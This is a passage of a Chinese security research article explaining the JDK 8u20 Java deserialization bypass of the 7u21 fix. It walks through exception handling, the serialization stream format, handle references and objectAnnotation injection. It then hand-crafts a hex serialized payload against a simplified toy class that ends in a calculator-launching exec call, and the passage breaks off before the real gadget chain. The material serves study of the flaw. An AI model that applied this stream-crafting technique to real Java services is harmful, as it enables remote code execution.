0x01 写在前面jdk8u20原生反序列化漏洞是一个非常经典的漏洞，也是我分析过最复杂的漏洞之一。在这个漏洞里利用了大量的底层的基础知识，同时也要求读者对反序列化的流程、序列化的数据结构有一定的了解本文结合笔者自身对该漏洞的了解，写下此文，如有描述不当或者错误之处，还望各位师傅指出0x02 jdk8u20 漏洞原理jdk8u20其实是对jdk7u21漏洞的绕过，在《JDK7u21反序列化漏洞分析笔记》 一文的最后我提到了jdk7u21的修复方式：首先来看存在漏洞的最后一个版本（611bcd930ed1）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java查看其 children 版本（0ca6cbe3f350）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.javacompare一下：// 改之前 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } // 改之后 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }可以发现，在第一次的修复中，官方采用的方法是网上的第二种讨论，即将以前的 return 改成了抛出异常。我们来看第一次修复后的AnnotationInvocationHandler.readObejct()方法：private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }在AnnotationInvocationHandler类中，其重写了readObejct方法，那么根据 oracle 官方定义的 Java 中可序列化对象流的原则——如果一个类中定义了readObject方法，那么这个方法将会取代默认序列化机制中的方法读取对象的状态，可选的信息可依靠这些方法读取，而必选数据部分要依赖defaultReadObject方法读取；可以看到在该类内部的readObject方法第一行就调用了defaultReadObject()方法，该方法主要用来从字节流中读取对象的字段值，它可以从字节流中按照定义对象的类描述符以及定义的顺序读取字段的名称和类型信息。这些值会通过匹配当前类的字段名称来赋予，如果当前这个对象中的某个字段并没有在字节流中出现，则这些字段会使用类中定义的默认值，如果这个值出现在字节流中，但是并不属于对象，则抛弃该值。在利用defaultReadObject()还原了一部分对象的值后，最近进行AnnotationType.getInstance(type)判断，如果传入的 type 不是AnnotationType类型，那么抛出异常。也就是说，实际上在jdk7u21漏洞中，我们传入的AnnotationInvocationHandler对象在异常被抛出前，已经从序列化数据中被还原出来。换句话说就是我们把恶意的种子种到了运行对象中，但是因为出现异常导致该种子没法生长，只要我们解决了这个异常，那么就可以重新达到我们的目的。这也就是jdk8u20漏洞的原理——逃过异常抛出。那么具体该如何逃过呢？jdk8u20的作者用了一种非常牛逼的方式。再具体介绍这种方式之前，先简单介绍一些与本漏洞相关的基础知识，以便读者更明白本文的分析流程和细节。0x03 基础知识1、Try/catch块的作用写程序不可避免的出现一些错误或者未注意到的异常信息，为了能够处理这些异常信息或错误，并且让程序继续执行下去，开发者通常使用try ... catch语法。把可能发生异常的语句放在try { ... }中，然后使用catch捕获对应的Exception及其子类，这样一来，在 JVM 捕获到异常后，会从上到下匹配catch语句，匹配到某个catch后，执行catch代码块，从而达到继续执行代码的效果。如jdk7u21中利用的正是这个：try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }当检测的结果不是AbbitatuibType时，匹配到了IllegalArgumentException异常，然后执行了catch中的代码块。但如果try ... catch嵌套，又该如何判定呢？可以看个例子package com.panda.sec; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; public class test { static double TEST_NUMBER = 0; public static void math(int a, int b){ double c; if (a != b) { try { TEST_NUMBER = a*(a+b); c = a / b; } catch (Exception e) { System.out.println("内层出错了"); } } else { c = a * b; } } public static void urlRequest(int a, int b, String url) throws IOException { try { math(a, b); URL realUrl = new URL(url); HttpURLConnection connection = (HttpURLConnection)realUrl.openConnection(); connection.setRequestProperty("accept", "*/*"); connection.connect(); System.out.println("状态码：" + connection.getResponseCode()); } catch (Exception e) { System.out.println("外层出错了"); throw e; } System.out.println(TEST_NUMBER); } public static void main(String[] args) throws IOException { urlRequest(1,0,"https://www.cnpanda.net"); System.out.println("all end"); } }先来看看代码逻辑，首先定义了全局变量TEST_NUMBER=0，然后定义了math和urlRequest两个方法，并且在urlRequest方法里，调用了math方法，最后在main函数中执行urlRequest方法。请读者不看下文的分析，先思考当变量值为以下情况时，这段代码会输出什么？当a=1,b=0，url地址是https://www.cnpanda.net时当a=1,b=0，url地址是https://test.cnpanda.net时当a=1,b=2，url地址是https://www.cnpanda.net时当a=1,b=2，url地址是https://test.cnpanda.net时来看具体运行结果：当a=1,b=0，url地址是https://www.cnpanda.net时：这种情况下，b=0使得a/b中的分母为0，导致内层出错，因此会进入catch块并打印出内层出错了字符串，但是由于内层的catch块并没有把错误抛出，因此继续执行剩余代码逻辑，向https://www.cnpanda.net地址发起http请求，打印状态码为200，由于在math方法中 TEST_NUMBER = a*(a+b)=1*(1+0)=1，因此打印出TEST_NUMBER为1.0，最后打印all end结束代码逻辑。当a=1,b=0，url地址是https://test.cnpanda.net时：这种情况下，b=0使得a/b中的分母为0，导致内层出错，因此会进入catch块并打印出内层出错了字符串，但是由于内层的catch块并没有把错误抛出，因此继续执行剩余代码逻辑，向https://test.cnpanda.net地址发起http请求，但是由于无法解析导致出错，进入catch块，在catch块中打印外层出错了字符串，然后抛出错误，结束代码逻辑。当a=1,b=2，url地址是https://www.cnpanda.net时：这种情况下，b!=0，因此a/b会正常运算，不会进入catch块，继续执行剩余代码逻辑，向https://www.cnpanda.net地址发起http请求，打印状态码为200，由于在math方法中 TEST_NUMBER = a*(a+b)=1*(1+2)=3，因此打印出TEST_NUMBER为3，最后打印all end结束代码逻辑。当a=1,b=2，url地址是https://test.cnpanda.net时：这种情况下，b!=0，因此a/b会正常运算，不会进入catch块，继续执行剩余代码逻辑，向https://test.cnpanda.net地址发起http请求，但是由于无法解析导致出错，进入catch块，在catch块中打印外层出错了字符串，然后抛出错误，结束代码逻辑。从上面的示例可以得出一个结论，在一个存在try ... catch块的方法（有异常抛出）中去调用另一个存在try ... catch块的方法（无异常抛出），如果被调用的方法（无异常抛出）出错，那么会继续执行完调用方法的代码逻辑，但是若调用方法也出错，那么会终止代码运行的进程这是有异常抛出调用无异常抛出，那么如果是无异常抛出调用有异常抛出呢？如下代码：package com.panda.sec; import java.io.IOException; import java.net.HttpURLConnection; import java.net.URL; public class test { static double TEST_NUMBER = 0; public static void math(int a, int b,String url) throws IOException { double c; try { urlRequest(url); if (a != b) { TEST_NUMBER = a*(a+b); c = a / b; } else { c = a * b; } } catch (Exception e) { System.out.println("外层出错了"); } } public static void urlRequest(String url) throws IOException { try { URL realUrl = new URL(url); HttpURLConnection connection = (HttpURLConnection)realUrl.openConnection(); connection.setRequestProperty("accept", "*/*"); connection.connect(); System.out.println("状态码：" + connection.getResponseCode()); } catch (Exception e) { System.out.println("内层出错了"); throw e; } System.out.println(TEST_NUMBER); } public static void main(String[] args) throws IOException { math(1,0,"https://test.cnpanda.net"); System.out.println("all end"); } }同上面示例一样的代码逻辑（为了方便，做了略微调整，有些代码无意义也没有删除），只是，不同的是，这里在math方法中调用了urlRequest方法。那么如下情况又会输出什么呢？同样的，请读者不看下文的分析，先思考当变量值为以下情况时，这段代码会输出什么？当a=1,b=0，url地址是https://www.cnpanda.net时当a=1,b=0，url地址是https://test.cnpanda.net时当a=1,b=2，url地址是https://www.cnpanda.net时当a=1,b=2，url地址是https://test.cnpanda.net时当a=1,b=0，url地址是https://www.cnpanda.net时这种情况下，url为https://www.cnpanda.net，因此会在内层向该地址发起http请求，并且打印状态码为200，内层执行完毕后，继续执行外层剩余代码逻辑，b=0使得a/b中的分母为0，导致外层出错，因此会进入catch块并打印出外层层出错了字符串，最后打印all end结束代码逻辑。当a=1,b=0，url地址是https://test.cnpanda.net时这种情况下，url为https://test.cnpanda.net，因此会在内层向该地址发起http请求，但是由于无法解析导致出错，进入catch块，在catch块中打印内层出错了字符串，由于内层出错，导致外层也出错，直接进入外层的catch块并打印出外层层出错了字符串，最后打印all end结束代码逻辑。当a=1,b=2，url地址是https://www.cnpanda.net时这种情况下，url为https://www.cnpanda.net，因此会在内层向该地址发起http请求，并且打印状态码为200，内层执行完毕后，继续执行外层剩余代码逻辑，b!=0使得a/b中的分母不为0，外层不会出错，因此执行完外层的逻辑，最后打印all end结束整个代码逻辑。当a=1,b=2，url地址是https://test.cnpanda.net时这种情况下，url为https://test.cnpanda.net，因此会在内层向该地址发起http请求，因此会在内层向该地址发起http请求，但是由于无法解析导致出错，进入catch块，在catch块中打印内层出错了字符串，由于内层出错，导致外层也出错，直接进入外层的catch块并打印出外层层出错了字符串，最后打印all end结束代码逻辑。从上面的示例可以得出一个结论，在一个存在try ... catch块的方法（无异常抛出）中去调用另一个存在try ... catch块的方法（有异常抛出），如果被调用的方法（有异常抛出）出错，那么会导致调用方法出错且不会继续执行完调用方法的代码逻辑，但是不会终止代码运行的进程2、序列化数据的结构序列化数据的结构可以参考：《Object Serialization Stream Protocol/对象序列化流协议》总结 https://www.cnpanda.net/talksafe/892.html或者直接阅读官方文档：https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html使用SerializationDumper工具可以查看一段序列化数据的结构，如下图所示：可以看到，序列化结构的骨架是由TC_*和各种字段描述符构成，各个TC_*及描述符的意思已经在《Object Serialization Stream Protocol/对象序列化流协议》一文中介绍了，想深入阅读的读者可以去看看。3、序列化中的两个机制引用机制在序列化流程中，对象所属类、对象成员属性等数据都会被使用固定的语法写入到序列化数据，并且会被特定的方法读取；在序列化数据中，存在的对象有null、new objects、classes、arrays、strings、back references等，这些对象在序列化结构中都有对应的描述信息，并且每一个写入字节流的对象都会被赋予引用Handle，并且这个引用Handle可以反向引用该对象（使用TC_REFERENCE结构，引用前面handle的值），引用Handle会从0x7E0000开始进行顺序赋值并且自动自增，一旦字节流发生了重置则该引用Handle会重新从0x7E0000开始。成员抛弃在反序列化中，如果当前这个对象中的某个字段并没有在字节流中出现，则这些字段会使用类中定义的默认值，如果这个值出现在字节流中，但是并不属于对象，则抛弃该值，但是如果这个值是一个对象的话，那么会为这个值分配一个 Handle。4、了解jdk7u21漏洞这个是毋庸置疑要理解的，因为jdk8u20是对jdk7u21漏洞修复的绕过。可以参考我之前写的文章：JDK7u21反序列化漏洞分析笔记：https://xz.aliyun.com/t/97040x04 从一个case说起由于jdk8u20真的比较复杂，因此为了方便理解，我写了一个简单的case，用于帮助读者理解下文。假设存在两个类AnnotationInvocationHandler和BeanContextSupport，具体内容如下：AnnotationInvocationHandler.javapackage com.panda.sec; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; public class AnnotationInvocationHandler implements Serializable { private static final long serialVersionUID = 10L; private int zero; public AnnotationInvocationHandler(int zero) { this.zero = zero; } public void exec(String cmd) throws IOException { Process shell = Runtime.getRuntime().exec(cmd); } private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); if(this.zero==0){ try{ double result = 1/this.zero; }catch (Exception e) { throw new Exception("Hack !!!"); } }else{ throw new Exception("your number is error!!!"); } } }BeanContextSupport.javapackage com.panda.sec; import java.io.ObjectInputStream; import java.io.Serializable; public class BeanContextSupport implements Serializable { private static final long serialVersionUID = 20L; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); try { input.readObject(); } catch (Exception e) { return; } } }Question：当传入AnnotationInvocationHandler方法中的zero等于0的时候，如何能在序列化结束时调用AnnotationInvocationHandler.exec()方法达到RCE？我们首先令zero等于0，然后尝试调用AnnotationInvocationHandler.exec()方法看看：import java.io.*; public class Main { public static void payload() throws IOException, ClassNotFoundException { AnnotationInvocationHandler annotationInvocationHandler = new AnnotationInvocationHandler(0); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload1")); out.writeObject(annotationInvocationHandler); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload1")); AnnotationInvocationHandler str = (AnnotationInvocationHandler)in.readObject(); str.exec("open /System/Applications/Calculator.app"); } public static void main(String[] args) throws IOException, ClassNotFoundException { payload(); } }不出意外，由于zero的值为0，所以使得result的分母为0，导致出现异常，抛出 Exception("Hack !!!")错误。由于在代码中我们生成了序列化文件payload1，所以现在可以利用SerializationDumper工具来看看其数据结构：STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00由于该数据结构比较短，可以来具体介绍一下。STREAM_MAGIC - 0xac ed是魔数，代表了序列化的格式；STREAM_VERSION - 0x00 05表示序列化的版本；Contents表示最终生成的序列的内容；TC_OBJECT - 0x73表示序列化一个新对象的开始标记；TC_CLASSDESC - 0x72表示一个新类的描述信息开始标记；className表示当前对象的类全名信息，下面紧跟着的内容也是className的描述信息；Length - 41 - 0x00 29表示当前对象的类的长度为41；Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572表示当前对象的类的名称为com.panda.sec.AnnotationInvocationHandler，后面的字符串是其十六进制表示；serialVersionUID - 0x00 00 00 00 00 00 00 0a定义了serialVersionUID的值为20；newHandle 0x00 7e 00 00 表示为对象分配一个值为007e0000的handle（因为引用Handle会从0x7E0000开始进行顺序赋值并且自动自增），值得注意的是这里的handle实际上没有被真正的写入文件，如果我们把这里的007e0000加入到序列化数据中，会发生异常，从而终止反序列化进程，之所以会在这里显示出来，是因为serializationDumper的作者为了方便使用者分析序列化数据的结构；classDescFlags - 0x02 - SC_SERIALIZABLE表示类描述信息标记为SC_SERIALIZABLE，代表在序列化的时候使用的是java.io.Serializable（如果使用的是java.io.Externalizable，这里的标记就会变成classDescFlags - 0x04 - SC_EXTERNALIZABLE）； fieldCount - 1 - 0x00 01表示成员属性的数量为1，值得注意的是这里的fieldCount同样是serializationDumper的作者为了方便使用者分析序列化数据的结构而新设置的描述符，在官方序列化规范中是没有fieldCount的；Fields表示接下来的内容是类中所有字段的描述信息，Fields成员属性保存了当前分析的类对应的所有成员属性的元数据信息，它是一个数组结构，每一个元素都对应了成员属性的元数据描述信息，且不会重复； 0表示接下来的内容是第一个字段的描述信息； Int - I - 0x49表示该字段的类型是int型； fieldName表示当前字段的字段名信息，下面紧跟着的内容也是 fieldName的描述信息；Length - 4 - 0x00 04表示当前字段名的长度为4；Value - zero - 0x7a65726f表示当前字段名为zero；classAnnotations表示和类相关的Annotation的描述信息，这里的数据值一般是由ObjectOutputStream的annotateClass()方法写入的，但由于annotateClass()方法默认为空，所以classAnnotations后一般会设置TC_ENDBLOCKDATA标识；（关于annotateClass具体可以看我写的序列化流程分析总结一文） TC_ENDBLOCKDATA - 0x78数据块的结束标记，表示这个对象类型的描述符已经结束了；superClassDesc表示父类的描述符信息，这里为空；TC_NULL - 0x70表示当前对象是一个空引用；newHandle 0x00 7e 00 01表示为对象分配一个值为007e0001的handle，同上面的newHandle一样，这里的handle实际上没有被真正的写入文件；classdata表示下面紧跟着的是类数据中的所有内容；` com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00`表示类数据中的所有内容 以上就是所有的序列化数据的结构，当进行反序列化的时候，会依次从上到下读取序列化内容进行还原数据。现在思考一个问题：如果在上面的序列化数据中插入一部分源代码中没有的数据，那么在反序列化的时候会发生什么？在解决这个问题前，首先再来深入理解一下我们之前提到的引用机制，举个例子比如以下代码进行一次序列化的序列化数据结构：package com.panda.sec; import java.io.*; public class test implements Serializable { private static final long serialVersionUID = 100L; public static int num = 0; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); System.out.println("hello!"); } public static void main(String[] args) throws IOException { test t = new test(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("testcase")); out.writeObject(t); out.close(); } }如果上述代码进行两次序列化，那么这个数据结构会变成什么？可以来看看：package com.panda.sec; import java.io.*; public class test implements Serializable { private static final long serialVersionUID = 100L; public static int num = 0; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); System.out.println("hello!"); } public static void main(String[] args) throws IOException { test t = new test(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("testcase")); out.writeObject(t); out.writeObject(t); //二次序列化 out.close(); } }对比一下可以发现，在该序列化数据的结构中最后多了TC_REFERENCE - 0x71 Handle - 8257537 - 0x00 7e 00 01这里对应的就是前文基础知识里“序列化中的两个机制”中引用机制里的一段话每一个写入字节流的对象都会被赋予引用Handle，并且这个引用Handle可以反向引用该对象（使用TC_REFERENCE结构，引用前面handle的值），引用Handle会从0x7E0000开始进行顺序赋值并且自动自增，一旦字节流发生了重置则该引用Handle会重新从0x7E0000开始。那么反序列化是如何处理TC_REFERENCE块的呢？我在反序列化流程分析总结 一文中写到这样一个流程：在readObject0方法里有这样的一个判断：是的，在反序列化的流程中，进入了readObject0方法后，会判断读取的字节流中是否有TC_REFERENCE标识，如果有，那么会调用readHandle函数，但是我没有在文中具体说明readHandle函数，可以一起来看看： private Object readHandle(boolean unshared) throws IOException { if (bin.readByte() != TC_REFERENCE) { throw new InternalError(); } passHandle = bin.readInt() - baseWireHandle; if (passHandle < 0 || passHandle >= handles.size()) { throw new StreamCorruptedException( String.format("invalid handle value: %08X", passHandle + baseWireHandle)); } if (unshared) { // REMIND: what type of exception to throw here? throw new InvalidObjectException( "cannot read back reference as unshared"); } Object obj = handles.lookupObject(passHandle); if (obj == unsharedMarker) { // REMIND: what type of exception to throw here? throw new InvalidObjectException( "cannot read back reference to unshared object"); } return obj; }这个方法会从字节流中读取TC_REFERENCE标记段，它会把读取的引用Handle赋值给passHandle变量，然后传入lookupObject()，在lookupObject()方法中，如果引用的handle不为空、没有关联的ClassNotFoundException（status[handle] != STATUS_EXCEPTION），那么就返回给定handle的引用对象，最后由readHandle方法返回给对象。也就是说，反序列化流程还原到TC_REFERENCE的时候，会尝试还原引用的handle对象。谈完了引用机制现在在来看数据插入的问题，如何能在类AnnotationInvocationHandler的序列化数据中插入一部分源代码中没有的数据？利用objectAnnotation！继续来看个例子：package com.panda.sec; import java.io.*; public class test implements Serializable { private static final long serialVersionUID = 100L; public static int num = 0; private void readObject(ObjectInputStream input) throws Exception { input.defaultReadObject(); System.out.println("hello!"); } private void writeObject(ObjectOutputStream output) throws IOException { output.defaultWriteObject(); output.writeObject("Panda"); output.writeUTF("This is a test data!"); } public static void main(String[] args) throws IOException, ClassNotFoundException { test t = new test(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("testcase_new")); out.writeObject(t); out.writeObject(t); out.close(); } }在这个示例中，我们重写了writeObject方法，并且在该方法中利用writeObject和writeUTF方法写入了Panda对象以及This is a test data!字符串，该段序列化数据内容如下：为了更直白的看变化，我们可以用compare工具来对比一下：可以看到原先表示类描述信息标记由0x02 - SC_SERIALIZABLE变成了0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE，并且在原有序列化数据结构的最下方还多了由objectAnnotation标识的内容段，这里的内容段会在反序列化的时候被还原为什么会有这种变化？知识点1：如果一个可序列化的类重写了writeObject方法，而且向字节流写入了一些额外的数据，那么会设置SC_WRITE_METHOD标识，这种情况下，一般使用结束符TC_ENDBLOCKDATA来标记这个对象的数据结束；知识点2：如果一个可序列化的类重写了writeObject方法，在该序列化数据的classdata部分，还会多出个objectAnnotation部分，并且如果重写的writeObject()方法内除了调用defaultWriteObject()方法写对象字段数据，还向字节流中写入了自定义数据，那么在objectAnnotation部分会有写入自定义数据对应的结构和值；这样一来是不是就有点明了了？正常情况下，我们没有办法修改可序列化类本身的内容，也就没办法重写这个类中的writeObject方法，也就没法让序列化数据中多出来objectAnnotation内容段可真的没办法吗？当然不是了！序列化数据只是一块二进制的数据而已，只要按照序列化预定的规则来修改其hex数据，那么实际上就是相当于在重写的writeObject方法中添加数据在写入数据前，我们要考虑一件事，谁向谁写入数据？是先序列化AnnotationInvocationHandler类然后向其中插入BeanContextSupport对象，还是先序列化BeanContextSupport类然后向其中插入AnnotationInvocationHandler对象？先思考jdk7u21被修复的原因是什么？是因为在反序列化的过程中有异常抛出，从而导致反序列化的进程被终止了！这让我们不得不联想到我们在基础知识的Try/catch块的作用中做的结论：在一个存在try ... catch块的方法（无异常抛出）中去调用另一个存在try ... catch块的方法（有异常抛出），如果被调用的方法（有异常抛出）出错，那么会导致调用方法出错且不会继续执行完调用方法的代码逻辑，但是不会终止代码运行的进程我们要的就是不要终止我们的反序列化进程，这样我们就可以取得反序列化后的类对象。所以我们需要先序列化BeanContextSupport类（无异常抛出）然后向其中插入AnnotationInvocationHandler对象（有异常抛出）这里还有一点要注意，因为根据成员抛弃机制我们知道，如果序列化流新增的这个值是一个对象的话，那么会为这个值分配一个 Handle，但由于我们是手动插入Handle，所以需要修改引用Handle的值（就是TC_ENDBLOCKDATA块中handle的引用值）为AnnotationInvocationHandler对象的handle地址具体过程如下：第一步，先序列化BeanContextSupport类，然后利用SerializationDumper工具可以得到以下数据结构：STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 32 - 0x00 20 Value - com.panda.sec.BeanContextSupport - 0x636f6d2e70616e64612e7365632e4265616e436f6e74657874537570706f7274 serialVersionUID - 0x00 00 00 00 00 00 00 14 newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.BeanContextSupport values第二步，序列化AnnotationInvocationHandler类，然后利用SerializationDumper工具可以得到以下数据结构： STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00第三步，利用objectAnnotation插入AnnotationInvocationHandler对象：STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 32 - 0x00 20 Value - com.panda.sec.BeanContextSupport - 0x636f6d2e70616e64612e7365632e4265616e436f6e74657874537570706f7274 serialVersionUID - 0x00 00 00 00 00 00 00 14 newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.BeanContextSupport values objectAnnotation // 从这里开始 TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 00 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00 TC_ENDBLOCKDATA - 0x78 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7e 00 03第四步，修改handle值以及对应的classDescFlags值：STREAM_MAGIC - 0xac ed STREAM_VERSION - 0x00 05 Contents TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 32 - 0x00 20 Value - com.panda.sec.BeanContextSupport - 0x636f6d2e70616e64612e7365632e4265616e436f6e74657874537570706f7274 serialVersionUID - 0x00 00 00 00 00 00 00 14 newHandle 0x00 7e 00 00 classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE fieldCount - 0 - 0x00 00 classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 01 classdata com.panda.sec.BeanContextSupport values objectAnnotation // 从这里开始 TC_OBJECT - 0x73 TC_CLASSDESC - 0x72 className Length - 41 - 0x00 29 Value - com.panda.sec.AnnotationInvocationHandler - 0x636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 serialVersionUID - 0x00 00 00 00 00 00 00 0a newHandle 0x00 7e 00 02 classDescFlags - 0x02 - SC_SERIALIZABLE fieldCount - 1 - 0x00 01 Fields 0: Int - I - 0x49 fieldName Length - 4 - 0x00 04 Value - zero - 0x7a65726f classAnnotations TC_ENDBLOCKDATA - 0x78 superClassDesc TC_NULL - 0x70 newHandle 0x00 7e 00 03 classdata com.panda.sec.AnnotationInvocationHandler values zero (int)0 - 0x00 00 00 00 TC_ENDBLOCKDATA - 0x78 TC_REFERENCE - 0x71 Handle - 8257539 - 0x00 7e 00 03注：这里最后的Handle - 8257539 - 0x00 7e 00 03中的8257539是serializationDumper中生成的数值，具体在序列化或反序列化流程中的体现，没有具体深究，该值不影响我们最终序列化数据的生成，该值的生成算法如下： public static void num(){ byte b1 = 0 ; byte b2 = 126; byte b3 = 0; byte b4 = 3; int handle = ( ((b1 << 24) & 0xff000000) + ((b2 << 16) & 0xff0000) + ((b3 << 8) & 0xff00) + ((b4 ) & 0xff) ); System.out.println("Handle - " + handle + " - 0x" + byteToHex(b1) + " " + byteToHex(b2) + " " + byteToHex(b3) + " " + byteToHex(b4)); }其中，b1 b2 b3 b4组合是 00 7e 00 xx，即代表了引用handle的值，然后将这些值经过运算就可以得到最终的8257539值。然后根据这段数据结构，转换成十六进制数据如下：ac ed 00 05 73 72 00 20 636f6d2e70616e64612e7365632e4265616e436f6e74657874537570706f7274 00 00 00 00 00 00 00 14 03 00 00 78 70 73 72 00 29 636f6d2e70616e64612e7365632e416e6e6f746174696f6e496e766f636174696f6e48616e646c6572 00 00 00 00 00 00 00 0a 02 00 01 49 00 04 7a65726f 78 70 00 00 00 00 78 71 00 7e 00 03这里需要注意的是，我们在前文提到了newhandle实际上没有被真正的写入文件，如果我们把这里的007e0000加入到序列化数据中，会发生异常，从而终止反序列化进程，之所以会在这里显示出来，是因为serializationDumper的作者为了方便使用者分析序列化数据的结构；所以我们在构建十六进制数据的过程中要丢弃掉newhandle对应的十六进制数据最后以4个字符为一组，8个组为一行，整理可得：aced 0005 7372 0020 636f 6d2e 7061 6e64 612e 7365 632e 4265 616e 436f 6e74 6578 7453 7570 706f 7274 0000 0000 0000 0014 0300 0078 7073 7200 2963 6f6d 2e70 616e 6461 2e73 6563 2e41 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 696f 6e48 616e 646c 6572 0000 0000 0000 000a 0200 0149 0004 7a65 726f 7870 0000 0000 7871 007e 0003将这些内容替换掉在从一个case说起最开始部分生成的payload1里的内容然后尝试再次运行以下代码：package com.panda.sec; import java.io.*; public class Main { public static void payload() throws IOException, ClassNotFoundException { // AnnotationInvocationHandler annotationInvocationHandler = new AnnotationInvocationHandler(0); // // ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("payload1")); // out.writeObject(annotationInvocationHandler); // out.writeObject(annotationInvocationHandler); // out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("payload1")); System.out.println(in.readObject().toString()); AnnotationInvocationHandler str = (AnnotationInvocationHandler)in.readObject(); System.out.println(str.toString()); str.exec("open /System/Applications/Calculator.app"); } public static void main(String[] args) throws IOException, ClassNotFoundException { payload(); } }结果如下：成功实现了RCE，并且可以看到，我们第一次反序列还原的对象是com.panda.sec.BeanContextSupport，第二次反序列化还原的对象是com.panda.sec.AnnotationInvocationHandler，也正对应了我们自己手动插入数据的顺序0x05 jdk8u20 